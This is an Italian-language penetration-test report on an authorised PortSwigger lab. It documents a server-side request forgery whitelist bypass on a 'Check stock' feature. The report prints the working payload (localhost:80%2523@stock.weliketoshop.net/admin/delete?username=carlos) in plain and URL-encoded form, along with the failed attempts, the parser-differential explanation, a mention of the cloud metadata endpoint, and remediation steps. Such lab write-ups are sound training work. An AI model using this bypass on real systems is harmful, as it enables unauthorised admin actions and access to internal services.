LEONARDO ONORI
JUNIOR PENETRATION TESTER · VULNERABILITY ANALYST

leonardoonori1@gmail.com
github.com/leonardoonori1-ops

REPORT TECNICO · PENETRATION TEST

Server-Side Request Forgery con bypass di filtro whitelist

Accesso non autorizzato all'interfaccia amministrativa ed eliminazione di un account

Target	0a7f000d...web-security-academy.net
Categoria OWASP	A10:2021 – SSRF
Classificazione CWE	CWE-918 – Server-Side Request Forgery
Severità	HIGH
CVSS 3.1 (stimato)	8.6 — AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N
Analista	Leonardo Onori
Data	15 ottobre 2026
Strumenti	Kali Linux, Burp Suite, Firefox

Documento a scopo formativo — Leonardo Onori. Attività svolta su istanza di laboratorio autorizzata (PortSwigger Web Security Academy).

01 Executive Summary

La funzionalità "Check stock" effettua richieste HTTP lato server verso un URL fornito dall'utente (`stockApi`), protetto da una whitelist sull'hostname. Il filtro è aggirabile sfruttando una **discrepanza di parsing dell'URL** tra il componente che valida l'host e quello che esegue la richiesta, forzando il server a contattare la propria interfaccia di loopback ed eseguire l'eliminazione dell'utente `carlos` .

PARAMETRO	DIFESA
`stockApi`	**Whitelist hostname**
IMPATTO	**AUTENTICAZIONE**
Area admin + modifica dati	**Nessuna**

02 Contesto

```
POST /product/stock HTTP/2
Content-Type: application/x-www-form-urlencoded

stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1
```

Il controllo d'accesso admin risponde: *"Admin interface only available if logged in as an administrator, or if requested from loopback"*. Il server considera attendibile ogni richiesta proveniente da sé stesso.

03 Sviluppo dell'exploit

#	Payload (host rilevante)	Risposta
1	`http://localhost/admin`	400 — Illegal character in path
2	`...net@localhost/admin`	400 — host must be stock.weliketoshop.net
3	**`localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos`**	**302 — Found (riuscito)**

04 Payload finale

VALORE DEL PARAMETRO (IN CHIARO)

```
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
```

CORPO URL-ENCODED

```
stockApi=http%3A%2F%2Flocalhost%3A80%2523%40stock.weliketoshop.net%2Fadmin%2Fdelete%3Fusername%3Dcarlos
```

05 Meccanismo del bypass (parser differential)

Fase	Interpretazione	Host	Esito
Validazione	`%2523 → %23 ; la @ rende userinfo ciò che precede`	`stock.weliketoshop.net`	Whitelist superata ✓
Esecuzione	**`%2523 → # ; il # tronca il resto come frammento`**	**`localhost:80`**	**Richiesta verso loopback**

Il validatore vede `stock.weliketoshop.net` e approva; il fetcher vede `localhost` e vi si connette.

06 Prova dello sfruttamento

```
HTTP/2 302 Found
Location: /admin
```

Il redirect `302` verso `/admin` è la risposta prodotta dopo una cancellazione riuscita: l'utente `carlos` risulta eliminato.

07 Impatto e remediation

Un attaccante non autenticato aggira il controllo d'accesso admin, esegue azioni privilegiate e raggiunge servizi interni (movimento laterale; in cloud, endpoint dei metadati `169.254.169.254`).

- Normalizzare e risolvere l'URL una sola volta; validatore e fetcher devono usare lo stesso URL.
- Allow-list sull'IP risolto, con blocco di loopback, link-local e reti private (RFC 1918).
- Vietare credenziali embedded e frammenti negli URL server-side; segmentare l'egress.